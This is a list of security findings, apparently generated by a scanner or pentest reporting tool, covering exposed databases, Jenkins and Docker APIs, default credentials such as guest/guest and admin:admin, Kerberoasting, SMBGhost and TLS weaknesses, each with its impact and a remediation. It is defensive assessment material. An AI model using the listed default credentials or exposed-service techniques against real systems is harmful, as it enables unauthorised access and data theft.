HIGH SS3-193 — Elasticsearch: Unauthenticated Access
Description: Elasticsearch is accessible without authentication. Cluster health, indices, and all stored data can be queried and modified by any network-accessible client.
Impact: An attacker can read, modify, or delete all indexed data which may include PII, credentials, logs, and business-critical information. The cluster can also be used as a data exfiltration staging point.
Remediation: Enable Elasticsearch security features (X-Pack Security or OpenSearch Security). Configure TLS and role-based access control. Bind to localhost or trusted interfaces only.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1213 (Collection)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 2.2.1, 7.2.1
HIGH SS3-194 — MQTT Broker: No Authentication Required
Description: The MQTT broker accepted a CONNECT packet without credentials (CONNACK return code 0x00), confirming no authentication is required.
Impact: An attacker can subscribe to all topics to intercept sensitive IoT/SCADA telemetry data, and publish malicious messages to manipulate connected devices or trigger unsafe actuator commands.
Remediation: Enable MQTT authentication with username/password or client certificates. Configure ACLs to restrict topic access per client. Enable TLS encryption.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1071.001 (Command and Control)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 2.2.1
INFO SS3-195 — MQTT Broker Detected
Description: An MQTT broker was detected on the network. Authentication is enforced (CONNACK rejected unauthenticated connection).
Impact: Confirms an MQTT deployment for further targeted testing. The broker may be part of IoT or SCADA infrastructure.
Remediation: Verify MQTT broker authentication and ACLs are properly configured. Ensure TLS is enabled for production deployments.
CVSS Vector: N/A
NIST 800-53: CM-8
CRITICAL SS3-196 — RabbitMQ: Default Credentials (guest/guest)
Description: The RabbitMQ management UI is accessible with default credentials (guest/guest). The management API returned cluster overview data confirming full administrative access.
Impact: An attacker gains full administrative control of the message broker — able to read, modify, and delete message queues, create new users, access published messages containing potentially sensitive data, and disrupt message-dependent applications.
Remediation: Change or delete the default guest account immediately. Create named accounts with strong passwords and least-privilege permissions. Restrict management UI access to trusted networks.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1078 (Persistence)
NIST 800-53: IA-5, IA-5(1)
PCI DSS 4: 2.1.1, 8.3.6
INFO SS3-197 — RabbitMQ Management UI Exposed
Description: The RabbitMQ management UI on port 15672 is accessible on the network. Default credentials were rejected, indicating custom authentication is in place.
Impact: The management interface is a brute-force target. Successful authentication provides full administrative control of the message broker.
Remediation: Restrict RabbitMQ management UI access to trusted management networks. Ensure strong authentication is configured.
Effort: Easy
CVSS Vector: N/A
NIST 800-53: AC-17
INFO SS3-198 — AMQP Service Detected
Description: An AMQP service was detected on port 5672. The protocol header exchange confirmed the service accepts AMQP 0-9-1 connections.
Impact: Confirms message broker infrastructure for further targeted testing.
Remediation: Verify AMQP authentication is properly configured. Restrict AMQP access to authorized clients only.
CVSS Vector: N/A
NIST 800-53: CM-8
MEDIUM SS3-199 — POP3: STARTTLS Not Supported
Description: The POP3 server on port 110 does not advertise STLS capability in its CAPA response, meaning email retrieval credentials are transmitted in cleartext.
Impact: Email credentials transmitted over POP3 without TLS can be intercepted by any attacker on the network path, enabling unauthorized mailbox access.
Remediation: Enable STARTTLS on the POP3 server or migrate to POP3S (port 995). Ensure TLS 1.2+ with strong cipher suites.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-8(1)
PCI DSS 4: 4.2.1
MEDIUM SS3-200 — IMAP: STARTTLS Not Supported
Description: The IMAP server on port 143 does not advertise STARTTLS capability in its CAPABILITY response, meaning email credentials are transmitted in cleartext.
Impact: Email credentials transmitted over IMAP without TLS can be intercepted by any attacker on the network path, enabling unauthorized mailbox and email content access.
Remediation: Enable STARTTLS on the IMAP server or migrate to IMAPS (port 993). Ensure TLS 1.2+ with strong cipher suites.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-8(1)
PCI DSS 4: 4.2.1
CRITICAL SS3-201 — Cloud Metadata Endpoint Accessible
Description: The cloud instance metadata endpoint (169.254.169.254) is accessible from an internal web service, indicating potential SSRF vulnerability or misconfigured network controls.
Impact: An attacker can extract cloud IAM temporary credentials, enabling full compromise of the cloud environment — lateral movement to other cloud services, data exfiltration from S3/Blob/GCS, and privilege escalation.
Remediation: Implement IMDSv2 (AWS) requiring session tokens. Block outbound access to 169.254.169.254 from application containers. Implement network policies restricting metadata endpoint access.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: OWASP-A10:2021
OWASP API: OWASP-API10:2023
MITRE ATT&CK: T1552.005 (Credential Access)
NIST 800-53: AC-3, SC-7
PCI DSS 4: 6.2.4
CRITICAL SS3-202 — Jenkins: Unauthenticated Groovy Console (RCE)
Description: The Jenkins Groovy Script Console at /script is accessible without authentication, allowing execution of arbitrary Groovy code on the Jenkins server.
Impact: An attacker achieves immediate remote code execution on the Jenkins server. This enables reading credentials from the Jenkins credential store, modifying CI/CD pipelines for supply chain attacks, pivoting to build targets, and establishing persistent backdoors.
Remediation: Immediately restrict access to the Jenkins Script Console (/script) by configuring authentication. Enable Jenkins security realm and authorization strategy. Restrict access by IP at the network level.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1059 (Execution), T1195.002 (Initial Access)
NIST 800-53: IA-2, AC-3, AC-6
PCI DSS 4: 2.2.1, 6.2.4
HIGH SS3-203 — Jenkins: Unauthenticated Management Console
Description: The Jenkins management console at /manage is accessible without authentication, exposing system configuration, plugin management, and credential stores.
Impact: An attacker can view and modify system configuration, install malicious plugins, access stored credentials, and manipulate build infrastructure.
Remediation: Configure Jenkins authentication and authorization. Restrict /manage access to authenticated administrators only. Enable a security realm.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 2.2.1
HIGH SS3-204 — Kerberoastable Service Accounts Identified
Description: Service accounts with registered Service Principal Names (SPNs) were identified via Kerberos TGS-REP ticket requests. The extracted TGS tickets are crackable offline.
Impact: An attacker can request TGS tickets for SPN-registered service accounts and crack them offline with hashcat/john. Compromised service accounts often have elevated privileges, enabling domain privilege escalation.
Remediation: Use Group Managed Service Accounts (gMSA) with automatically rotated 120-character passwords. For legacy SPNs, enforce 25+ character passwords. Use AES256 encryption for Kerberos tickets. Monitor for TGS-REQ anomalies.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1558.003 (Credential Access)
NIST 800-53: IA-5, IA-5(1), AC-2
PCI DSS 4: 8.3.6, 8.6.3
MEDIUM SS3-205 — LDAP: Anonymous Enumeration — Users and Groups Discovered
Description: LDAP anonymous bind is permitted and was used to enumerate Active Directory users, groups, and password policies. User/group data was extracted without credentials.
Impact: An attacker obtains a complete user and group listing for targeted attacks: password spraying, social engineering, and identifying privileged accounts. Password policy details inform brute-force strategy.
Remediation: Disable anonymous LDAP binds. Configure the domain controller to require authenticated binds (dsHeuristics). Implement network segmentation to restrict LDAP access to authorized clients.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1087 (Discovery), T1069 (Discovery)
NIST 800-53: AC-14, AC-3
PCI DSS 4: 7.2.1
CRITICAL SS3-206 — SMBv3 Remote Code Execution (CVE-2020-0796)
Description: The host is vulnerable to CVE-2020-0796 (SMBGhost), a buffer overflow in SMBv3 compression handling in Windows 10 (1903/1909) and Server 2019. Detected via nmap smb-vuln-cve-2020-0796 NSE script.
Impact: An unauthenticated attacker can achieve remote code execution with SYSTEM privileges via a specially crafted SMBv3 compressed packet. This is a wormable vulnerability — no user interaction required.
Remediation: Apply Microsoft security update KB4551762 immediately. Disable SMBv3 compression as a temporary mitigation via PowerShell: Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters' DisableCompression -Type DWORD -Value 1.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: SI-2, SI-3
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL SS3-207 — FTP Default Credentials Accepted
Description: The FTP service accepted well-known default or factory-set credentials, granting authenticated access to the file transfer service.
Impact: An attacker with knowledge of default credentials can authenticate to the FTP service, potentially reading sensitive files, uploading malicious content, or using the server as a staging point for lateral movement. Default credentials are among the first things attackers test and are trivially discoverable.
Remediation: Change all FTP credentials from factory defaults to strong, unique passwords. Disable unnecessary FTP accounts. Consider replacing FTP with SFTP (SSH file transfer) for encrypted credential transmission.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078.001 (Initial Access), T1110.001 (Credential Access)
NIST 800-53: IA-5, AC-7
PCI DSS 4: 8.3.6, 2.1.1
LOW SS3-208 — FTP Brute Force Protection Not Detected
Description: The FTP server did not exhibit rate limiting, account lockout, or connection throttling after multiple rapid failed login attempts.
Impact: Without brute-force protection, an attacker can make unlimited credential guessing attempts against the FTP service at high speed. This significantly reduces the time required to compromise accounts through dictionary attacks or credential stuffing.
Remediation: Configure the FTP server to enforce connection rate limiting and account lockout after a threshold of failed login attempts. Most FTP servers (vsftpd, ProFTPD, Pure-FTPd) support MaxLoginAttempts or equivalent directives. Consider fail2ban as an additional layer.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: AC-7, SI-4
PCI DSS 4: 8.3.4
MEDIUM SS-069 — Information Disclosure: Internal IP in HTTP Response
Description: The HTTP response body or headers from a web service contain one or more RFC 1918 private IP addresses (10/8, 172.16/12, 192.168/16). This reveals internal network topology to external observers.
Impact: An attacker can map internal network topology, identify backend hosts behind load balancers or proxies, and use disclosed addresses to craft targeted attacks such as SSRF against internal hosts or lateral movement after initial compromise.
Remediation: Configure web servers and application frameworks to suppress internal IP addresses from HTTP responses. Review error pages, debug output, reverse proxy headers, and application-generated content for private address leakage.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2025 Broken Access Control
MITRE ATT&CK: T1018 (Discovery)
NIST 800-53: SC-8, SI-11
PCI DSS 4: 6.5.6
INFO SS-070 — Unnecessary/Outdated Website Available
Description: The website shows indicators of being outdated, abandoned, or unnecessary, such as old copyright dates, under-construction messages, or default server landing pages.
Impact: Outdated websites may contain unpatched vulnerabilities, deprecated frameworks, or unnecessary attack surface that increases the organization's risk profile.
Remediation: Remove or decommission unnecessary websites. Update outdated content and frameworks. Replace default server pages with proper content or restrict access.
Effort: Easy
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1595 (Reconnaissance)
NIST 800-53: CM-7
PCI DSS 4: 6.3.2
CRITICAL SS-071 — Unauthenticated Docker API Exposed
Description: The Docker Engine API is accessible without authentication. Endpoints such as /v1.24/containers/json and /v1.24/images/json return data freely, allowing enumeration of all containers and images on the host.
Impact: An attacker can create, start, stop, and delete containers, pull arbitrary images, mount the host filesystem via --privileged containers, read secrets and environment variables from running containers, and achieve full host-level remote code execution.
Remediation: Restrict Docker API access to localhost or trusted networks. Enable TLS client certificate authentication. Use Docker's built-in authorization plugins.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1610 (Defense Evasion)
NIST 800-53: AC-3, CM-7
PCI DSS 4: 2.2.2, 7.1.1
CRITICAL SS-072 — PostgreSQL Trust Authentication Enabled
Description: PostgreSQL accepts connections as user 'postgres' without requiring a password, indicating trust authentication is configured in pg_hba.conf for the connecting network.
Impact: Full superuser database access to anyone who can reach the port, allowing data exfiltration, modification, deletion, and potential OS command execution via COPY TO PROGRAM or custom functions.
Remediation: Reconfigure pg_hba.conf to require md5, scram-sha-256, or certificate authentication for all connections. Remove any 'trust' entries for non-local connections.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 8.3.1, 2.2.2
HIGH SS-073 — Unauthenticated CouchDB Access
Description: CouchDB allows unauthenticated access to the /_all_dbs endpoint, revealing the list of all databases on the server.
Impact: An attacker can enumerate all databases, read sensitive data, modify or delete documents, and potentially achieve remote code execution via CouchDB's query server functionality.
Remediation: Configure CouchDB to require authentication for all endpoints. Set require_valid_user = true in the [chttpd] section of local.ini.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, IA-2
PCI DSS 4: 7.1.1
CISA KEV
HIGH SS-074 — Grafana Unauthenticated API Access
Description: Grafana allows unauthenticated access to API endpoints such as /api/org, exposing organization details, dashboards, and data sources.
Impact: Attackers can view dashboards containing sensitive metrics, enumerate data source configurations (which may include database credentials), and access alerting rules. Anonymous API access can also be leveraged to discover internal infrastructure.
Remediation: Disable anonymous access in grafana.ini by setting [auth.anonymous] enabled = false. Implement authentication for all API endpoints.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1530 (Collection)
NIST 800-53: AC-3
PCI DSS 4: 7.1.1
CISA KEV
CRITICAL SS-075 — Grafana Default Credentials (admin:admin)
Description: Grafana accepts the default credentials admin:admin, granting full administrative access to the Grafana instance.
Impact: Full administrative access to all dashboards, data sources (which may contain database credentials and API keys), alerting rules, user management, and the ability to install plugins that could provide further access to the underlying system.
Remediation: Change the default admin password immediately. Enforce strong password policies and consider implementing SSO/LDAP authentication.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5
PCI DSS 4: 2.1.1, 8.3.6
HIGH SS-076 — Unauthenticated Kibana Access
Description: Kibana exposes its /api/status endpoint without authentication, revealing version information and system status. Full unauthenticated access may also allow reading Elasticsearch indices.
Impact: Attackers can read Elasticsearch indices containing logs, metrics, and potentially sensitive data. Version disclosure enables targeted vulnerability exploitation. Kibana Dev Tools can be used to execute arbitrary Elasticsearch queries.
Remediation: Enable X-Pack security or Elastic Stack security features. Configure authentication for all Kibana endpoints. Use a reverse proxy with authentication as an additional layer.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3
PCI DSS 4: 7.1.1
CISA KEV
HIGH SS-077 — Cassandra Unauthenticated CQL Access
Description: Cassandra CQL accepted a STARTUP frame and returned READY without requesting authentication, indicating the PasswordAuthenticator is not enabled.
Impact: Unauthenticated read/write access to all keyspaces and tables. An attacker can exfiltrate data, modify records, create or drop keyspaces, and potentially affect cluster stability.
Remediation: Enable PasswordAuthenticator in cassandra.yaml. Create administrative users with strong passwords and configure role-based access control.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 8.3.1
HIGH SS-078 — Git Repository Exposed via Web
Description: The web server exposes a .git directory. The /.git/HEAD file returns a valid Git ref, indicating the full repository is accessible.
Impact: An attacker can reconstruct the complete source code repository including all commit history, which may contain hardcoded credentials, API keys, database connection strings, internal comments revealing business logic, and configuration for other internal systems.
Remediation: Block access to .git directories in the web server configuration (e.g., Apache: <DirectoryMatch "\.git"> Deny from all </DirectoryMatch>). Deploy without the .git directory or use .gitignore and deployment pipelines.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1213 (Collection)
NIST 800-53: SC-28, CM-7
PCI DSS 4: 6.4.1
MEDIUM SS-079 — HTTP Methods: Unsafe Methods Enabled
Description: The web server allows dangerous HTTP methods such as PUT, DELETE, MOVE, COPY, or PROPFIND as reported by the OPTIONS response Allow header.
Impact: PUT can allow arbitrary file upload (including web shells), DELETE can remove files, MOVE/COPY enable WebDAV file manipulation, and PROPFIND discloses directory structure and metadata. These methods may enable remote code execution or data destruction.
Remediation: Disable unused HTTP methods in the web server configuration. For Apache: use LimitExcept directive. For Nginx: return 405 for non-GET/POST methods.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1505.003 (Persistence)
NIST 800-53: CM-7
PCI DSS 4: 2.2.2
MEDIUM SS-080 — HTTP Methods: Unsafe Methods Enabled
Description: The web server responds to HTTP TRACE requests by echoing the full request back, including all headers.
Impact: The TRACE method can be exploited for Cross-Site Tracing (XST) attacks, which combine XSS with TRACE to steal HTTP authentication credentials and cookies even when HttpOnly is set.
Remediation: Disable the TRACE method in the web server configuration. Apache: TraceEnable Off. Nginx: does not support TRACE by default.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: CM-7
PCI DSS 4: 2.2.2
MEDIUM SS-081 — {_status_label} Page Exposed
Description: The Apache server-status or server-info page is publicly accessible, exposing detailed server information including version, uptime, active connections, client IPs, and request URIs.
Impact: Reveals internal IP addresses, active request URIs (which may contain session tokens or API keys), client connections, server configuration details, and loaded modules. This information facilitates targeted exploitation.
Remediation: Restrict access to mod_status and mod_info via Apache configuration (<Location /server-status> Require local </Location>) or disable them entirely.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: SC-28, CM-7
PCI DSS 4: 2.2.2
LOW SS-082 — Information Disclosure: Internal Hostname in HTTP Response
Description: The HTTP response contains internal hostnames matching common internal TLD patterns (.local, .internal, .corp, .lan, .intranet, .private, .home, .localdomain).
Impact: Internal hostname disclosure reveals the internal naming convention, domain structure, environment names (dev/staging/prod), and infrastructure layout. This aids reconnaissance and social engineering attacks.
Remediation: Remove internal hostnames from HTTP response headers, error pages, and application output. Use generic external-facing hostnames.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: SC-28
PCI DSS 4: 6.4.1
MEDIUM SS-083 — Debug Endpoint Exposed: {_dbg_label}
Description: A debug or management endpoint (e.g., /actuator, /actuator/env, /debug, /__debug__, /console) is accessible and returns diagnostic information.
Impact: Debug endpoints expose environment variables (which may contain credentials and API keys), database connection strings, application configuration, stack traces, and internal application state. Spring Boot Actuator /env can reveal secrets; H2 Console at /console can enable SQL injection.
Remediation: Disable debug endpoints in production environments. For Spring Boot: restrict actuator endpoints via management.endpoints.web.exposure.include. For Django: set DEBUG=False.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: CM-7, SC-28
PCI DSS 4: 2.2.2, 6.4.1
HIGH SS-084 — PHP Info Page Exposed
Description: A phpinfo() page is accessible, exposing the complete PHP configuration including loaded modules, file paths, environment variables, and server details.
Impact: phpinfo() reveals the full server configuration, PHP version, loaded extensions, environment variables (which may contain database passwords and API keys), file paths, and operating system details. This enables targeted exploitation of known PHP and module vulnerabilities.
Remediation: Remove phpinfo files from production servers. Disable the phpinfo() function via php.ini: disable_functions = phpinfo.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: SC-28, CM-7
PCI DSS 4: 2.2.2
LOW SS-085 — DNS Server Version Disclosed
Description: The DNS server discloses its version string via a CHAOS TXT query for version.bind.
Impact: Software version disclosure enables attackers to identify known vulnerabilities for the specific DNS server version and craft targeted exploits. BIND version disclosure is a common reconnaissance target.
Remediation: Configure the DNS server to suppress or fake version responses. For BIND: options { version "none"; }; For PowerDNS: server-id and version-string settings.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: SC-28
PCI DSS 4: 2.2.2
MEDIUM SS-086 — SMTP Mailing List Enumeration via EXPN
Description: The SMTP EXPN command is enabled and reveals mailing list membership, disclosing valid email addresses and group membership.
Impact: EXPN reveals valid email addresses and organizational group membership, enabling targeted phishing campaigns, social engineering, and password-spray attacks. Combined with VRFY, it provides a comprehensive user enumeration capability.
Remediation: Disable the SMTP EXPN command or restrict it to authenticated sessions. In Postfix: smtpd_expansion_filter. In Sendmail: PrivacyOptions=noexpn.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1589.002 (Reconnaissance)
NIST 800-53: SC-28, CM-7
PCI DSS 4: 2.2.2
MEDIUM SS-087 — SSL/TLS Certificate: Hostname Mismatch
Description: The SSL/TLS certificate Common Name (CN) does not match the hostname used to connect, as reported by testssl.sh.
Impact: A hostname mismatch causes browsers and clients to display security warnings. Users may learn to ignore these warnings, making them vulnerable to man-in-the-middle attacks. The mismatch may also indicate a misconfigured or reused certificate.
Remediation: Obtain a certificate that matches the server hostname in the CN or SAN fields. Use wildcard certificates for multiple subdomains.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
INFO SS-088 — Information Disclosure: Sensitive Path in robots.txt
Description: The robots.txt file contains Disallow entries for potentially sensitive paths such as admin panels, backup directories, configuration files, or development endpoints.
Impact: While robots.txt instructs well-behaved crawlers to skip listed paths, it simultaneously advertises them to attackers. Sensitive paths in robots.txt serve as a roadmap for targeted enumeration and exploitation.
Remediation: Review robots.txt entries for sensitive paths. Remove entries that disclose internal structure. Ensure listed paths require authentication regardless of robots.txt.
Effort: Easy
CVSS Vector: N/A
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
LOW SS-089 — Information Disclosure: Internal Hostname in SAN
Description: The SSL/TLS certificate includes internal hostnames in its Subject Alternative Names, matching patterns like .local, .internal, .corp, .lan, .intranet, .private.
Impact: Internal hostnames in publicly accessible certificates disclose the internal naming scheme, domain structure, and potentially the existence of internal services. This aids network mapping and targeted attacks against internal infrastructure.
Remediation: Remove internal hostnames from the SAN list in certificates used on public-facing services. Use separate certificates for internal and external services.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: SC-28
PCI DSS 4: 4.2.1
MEDIUM SS-090 — UPnP/SSDP Service Responding
Description: The UPnP/SSDP service responded to an M-SEARCH discovery request, revealing device information and service endpoints.
Impact: UPnP can expose device details and allow port forwarding changes without authentication. SSDP has been used in large-scale DDoS amplification attacks. Device information aids targeted exploitation of known firmware vulnerabilities.
Remediation: Disable UPnP if not required. Restrict SSDP (UDP 1900) via firewall rules to trusted networks only. Disable UPnP on routers and IoT devices.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: CM-7
PCI DSS 4: 2.2.2
HIGH SS-091 — MongoDB Unauthenticated Access
Description: MongoDB accepted an isMaster query via the native OP_QUERY protocol without requiring authentication, indicating authorization is not enabled.
Impact: Full read/write access to all databases, allowing data exfiltration, modification, deletion, and user creation. MongoDB instances without auth have been widely targeted by ransomware campaigns that delete databases and demand payment.
Remediation: Enable authorization in mongod.conf (security.authorization: enabled). Create administrative users with strong passwords. Bind MongoDB to localhost or trusted interfaces only.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, AC-3
PCI DSS 4: 8.3.1
MEDIUM SS3-209 — Directory Listing Enabled
Description: The web server has directory listing enabled, displaying file names, sizes, and modification dates to anyone who requests a directory without an index file.
Impact: Directory listings allow attackers to discover backup files, configuration files, source code, database dumps, and other sensitive content that would otherwise require blind enumeration.
Remediation: Disable directory listing in the web server configuration. Apache: Options -Indexes. Nginx: autoindex off.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7
PCI DSS 4: 2.2.2
MEDIUM SS3-210 — SSL/TLS Certificate: Not Trusted
Description: The SSL/TLS certificate is not trusted by common certificate stores, as reported by testssl.sh. This may indicate a self-signed certificate, an expired certificate, or a certificate from an untrusted CA.
Impact: Untrusted certificates cause browser warnings that users learn to ignore, making them vulnerable to man-in-the-middle attacks. This may also indicate an attacker-controlled certificate or a certificate from a compromised CA.
Remediation: Obtain a certificate from a trusted Certificate Authority. Ensure the full certificate chain is properly configured on the server.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
MEDIUM SS3-210 — SSL/TLS Forward Secrecy: Not Supported
Description: The server does not offer any cipher suites with forward secrecy (ECDHE or DHE key exchange). Without forward secrecy, compromise of the server's private key allows retroactive decryption of all recorded past sessions.
Impact: An attacker who obtains the server's private key (through theft, legal compulsion, or future cryptanalysis) can decrypt all previously captured TLS traffic. Forward secrecy ensures each session uses ephemeral keys that are discarded, making past sessions safe even if the long-term key is compromised.
Remediation: Configure the server to use only cipher suites that provide forward secrecy (ECDHE or DHE key exchange). Disable static RSA key exchange. TLSv1.3 mandates forward secrecy and should be preferred.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-12
PCI DSS 4: 4.2.1
LOW SS3-211 — SSH Password Authentication Enabled
Description: The SSH server accepts password-based authentication methods (password and/or keyboard-interactive) alongside public key authentication. Password authentication is susceptible to brute-force attacks and does not enforce multi-factor authentication.
Impact: An attacker can attempt password brute-force attacks against the SSH service. Even with strong passwords, password authentication lacks the cryptographic assurance of key-based authentication and is incompatible with most MFA implementations. Compliance frameworks including CIS Benchmarks and DISA STIGs mandate public-key-only SSH authentication.
Remediation: Disable PasswordAuthentication and ChallengeResponseAuthentication in /etc/ssh/sshd_config. Require public key authentication exclusively. CIS Benchmark and DISA STIG both mandate disabling password-based SSH login.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.4
MEDIUM SS3-212 — SSH Password-Only Authentication (No Public Key)
Description: The SSH server accepts only password-based authentication methods (password and/or keyboard-interactive) with no public key authentication available. This is a significant security weakness — the server cannot accept key-based authentication at all, making brute-force the only barrier to unauthorized access.
